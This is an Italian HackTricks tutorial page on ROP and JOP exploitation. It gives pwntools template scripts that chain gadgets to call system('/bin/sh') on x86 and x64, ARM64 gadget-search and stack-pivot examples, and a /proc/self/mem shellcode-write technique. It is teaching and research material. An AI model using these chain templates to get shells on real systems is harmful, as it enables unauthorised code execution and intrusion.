ROP & JOP

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Return-Oriented Programming (ROP) è una tecnica avanzata di exploitation usata per eludere misure di sicurezza come No-Execute (NX) o Data Execution Prevention (DEP). Invece di iniettare ed eseguire shellcode, un attaccante sfrutta porzioni di codice già presenti nel binario o nelle librerie caricate, conosciute come “gadgets”. Ogni gadget tipicamente termina con un’istruzione ret e compie una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Concatenando questi gadgets, un attaccante può costruire un payload per eseguire operazioni arbitrarie, bypassando efficacemente le protezioni NX/DEP.

Come funziona ROP

  1. Control Flow Hijacking: Prima, un attaccante deve dirottare il flusso di controllo di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato sullo stack.
  2. Gadget Chaining: L’attaccante seleziona e concatena attentamente i gadgets per eseguire le azioni desiderate. Questo può includere impostare gli argomenti per una chiamata di funzione, chiamare la funzione (es. system("/bin/sh")) e gestire eventuali pulizie o operazioni aggiuntive.
  3. Payload Execution: Quando la funzione vulnerabile ritorna, invece di tornare a una posizione legittima, inizia l’esecuzione della catena di gadgets.

Tools

Tipicamente, i gadgets possono essere trovati usando ROPgadget, ropper o direttamente da pwntools (ROP).

Esempio di ROP Chain in x86

x86 (32-bit) Calling conventions

  • cdecl: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). Arguments are pushed onto the stack from right to left.
  • stdcall: Similar to cdecl, but the callee is responsible for cleaning the stack.

Finding Gadgets

First, let’s assume we’ve identified the necessary gadgets within the binary or its loaded libraries. The gadgets we’re interested in are:

  • pop eax; ret: Questo gadget estrae il valore in cima allo stack nel registro EAX e poi esegue ret, permettendoci di controllare EAX.
  • pop ebx; ret: Simile al precedente, ma per il registro EBX, consentendo il controllo di EBX.
  • mov [ebx], eax; ret: Sposta il valore in EAX nella locazione di memoria puntata da EBX e poi esegue ret. Questo è spesso chiamato write-what-where gadget.
  • Inoltre, abbiamo disponibile l’indirizzo della funzione system().

ROP Chain

Using pwntools, prepariamo lo stack per l’esecuzione della ROP chain nel seguente modo con l’obiettivo di eseguire system('/bin/sh'), nota come la catena inizia con:

  1. Una istruzione ret per scopi di allineamento (opzionale)
  2. Indirizzo della funzione system (supponendo ASLR disabilitato e libc nota, più info in Ret2lib)
  3. Placeholder per l’indirizzo di ritorno di system()
  4. Indirizzo della stringa "/bin/sh" (parametro per la funzione system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Esempio di ROP Chain in x64

x64 (64-bit) Calling conventions

  • Usa la convenzione di chiamata System V AMD64 ABI sui sistemi simili a Unix, dove i primi sei argomenti interi o pointer vengono passati nei registri RDI, RSI, RDX, RCX, R8, e R9. Gli argomenti aggiuntivi vengono passati sullo stack. Il valore di ritorno viene posto in RAX.
  • La convenzione di chiamata Windows x64 usa RCX, RDX, R8, e R9 per i primi quattro argomenti interi o pointer, con argomenti aggiuntivi passati sullo stack. Il valore di ritorno viene posto in RAX.
  • Registri: i registri a 64-bit includono RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, e R8 fino a R15.

Finding Gadgets

Per i nostri scopi, concentriamoci sui gadgets che ci permettono di impostare il registro RDI (per passare la stringa “/bin/sh” come argomento a system()) e poi chiamare la funzione system(). Assumeremo di aver identificato i seguenti gadgets:

  • pop rdi; ret: Estrae il valore in cima allo stack in RDI e poi ritorna. Essenziale per impostare il nostro argomento per system().
  • ret: Un semplice ritorno, utile per l’allineamento dello stack in alcuni scenari.

E conosciamo l’indirizzo della funzione system().

ROP Chain

Di seguito un esempio che utilizza pwntools per impostare ed eseguire una ROP chain mirata a eseguire system(‘/bin/sh’) su x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In questo esempio:

  • Utilizziamo il gadget pop rdi; ret per impostare RDI all’indirizzo di "/bin/sh".
  • Saltiamo direttamente a system() dopo aver impostato RDI, con l’indirizzo di system() nella catena.
  • ret_gadget viene usato per l’allineamento se l’ambiente target lo richiede, cosa più comune in x64 per assicurare il corretto allineamento dello stack prima di chiamare funzioni.

Stack Alignment

The x86-64 ABI garantisce che lo stack sia allineato a 16 byte quando viene eseguita una call instruction. LIBC, per ottimizzare le prestazioni, usa istruzioni SSE (come movaps) che richiedono questo allineamento. Se lo stack non è correttamente allineato (cioè se RSP non è un multiplo di 16), le chiamate a funzioni come system falliranno in una ROP chain. Per risolvere il problema, basta aggiungere un ret gadget prima di chiamare system nella tua ROP chain.

x86 vs x64 main difference

Tip

Poiché x64 usa i registri per i primi argomenti, spesso richiede meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del maggior numero di registri e dello spazio di indirizzamento più ampio. Il maggior numero di registri e lo spazio di indirizzamento più grande nell’architettura x64 offrono sia opportunità sia sfide per lo sviluppo di exploit, specialmente nel contesto del Return-Oriented Programming (ROP).

ROP chain in ARM64

Per quanto riguarda ARM64 Basics & Calling conventions, consulta la seguente pagina per queste informazioni:

Introduction to ARM64v8

[!DANGER] È importante notare che quando si salta a una funzione usando un ROP in ARM64 dovresti saltare almeno alla seconda istruzione della funzione per evitare di memorizzare nello stack il puntatore dello stack corrente e finire in un loop infinito che richiama la funzione ripetutamente.

Finding gadgets in system Dylds

Le librerie di sistema vengono compilate in un unico file chiamato dyld_shared_cache_arm64. Questo file contiene tutte le librerie di sistema in un formato compresso. Per scaricare questo file dal dispositivo mobile puoi fare:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Poi, puoi usare un paio di strumenti per estrarre le librerie effettive dal file dyld_shared_cache_arm64:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Ora, per trovare gadget interessanti per il binario che stai sfruttando, devi prima sapere quali librerie sono caricate dal binario. Puoi usare lldb* per questo:

lldb ./vuln
br s -n main
run
image list

Infine, puoi usare Ropper per trovare gadgets nelle libraries di tuo interesse:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP è una tecnica simile a ROP, ma ogni gadget, invece di usare un’istruzione RET alla fine del gadget, usa indirizzi di salto. Questo può essere particolarmente utile in situazioni in cui ROP non è fattibile, ad esempio quando non sono disponibili gadget adatti. È comunemente usato nelle architetture ARM dove l’istruzione ret non è così comune come nelle architetture x86/x64.

Puoi usare strumenti rop per trovare anche gadget JOP, per esempio:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Vediamo un esempio:

  • Esiste un heap overflow che ci permette di sovrascrivere un function pointer memorizzato nell’heap che verrà chiamato.

  • x0 punta all’heap dove controlliamo una porzione di memoria

  • Dalle librerie di sistema caricate troviamo i seguenti gadgets:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Possiamo usare il primo gadget per caricare x0 con un puntatore a /bin/sh (memorizzato nello heap) e poi caricare x2 da x0 + 0x30 con l’indirizzo di system e saltarci.

Stack Pivot

Stack pivoting è una tecnica usata in exploitation per cambiare lo stack pointer (RSP in x64, SP in ARM64) in modo che punti a un’area di memoria controllata, come lo heap o un buffer nello stack, dove l’attacker può inserire il proprio payload (di solito una ROP/JOP chain).

Examples of Stack Pivoting chains:

  • Esempio con solo 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Esempio gadget multipli:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode via /proc/self/mem (Embedded Linux)

Se hai già una ROP chain ma no RWX mappings, un’alternativa è scrivere shellcode nel processo corrente usando /proc/self/mem e poi saltarci. Questo è comune su target Embedded Linux dove /proc/self/mem può ignorare le protezioni di scrittura sui segmenti eseguibili nelle configurazioni di default.

Idea tipica della chain:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

Se preservare fd è difficile, chiamare open() più volte può rendere fattibile indovinare il descrittore usato per /proc/self/mem. Su target ARM Thumb, ricorda di impostare il bit basso quando fai branch (addr | 1).

Protezioni contro ROP e JOP

  • ASLR & PIE: Queste protezioni rendono più difficile l’uso di ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
  • Stack Canaries: In caso di BOF, è necessario bypassare lo stack canary memorizzato per sovrascrivere i return pointers e abusare di una ROP chain.
  • Lack of Gadgets: Se non ci sono gadget sufficienti non sarà possibile generare una ROP chain.

Tecniche basate su ROP

Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basandosi su ROP sono state sviluppate molte tecniche Ret2XXX:

  • Ret2lib: Usa ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come system('/bin/sh').

Ret2lib

  • Ret2Syscall: Usa ROP per preparare una chiamata a una syscall, es. execve, e far eseguire comandi arbitrari.

Ret2syscall

  • EBP2Ret & EBP Chaining: Il primo abuserà EBP invece di EIP per controllare il flusso e il secondo è simile a Ret2lib ma in questo caso il flusso è controllato principalmente con indirizzi EBP (anche se è necessario controllare anche EIP).

Stack Pivoting

Altri esempi & riferimenti

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks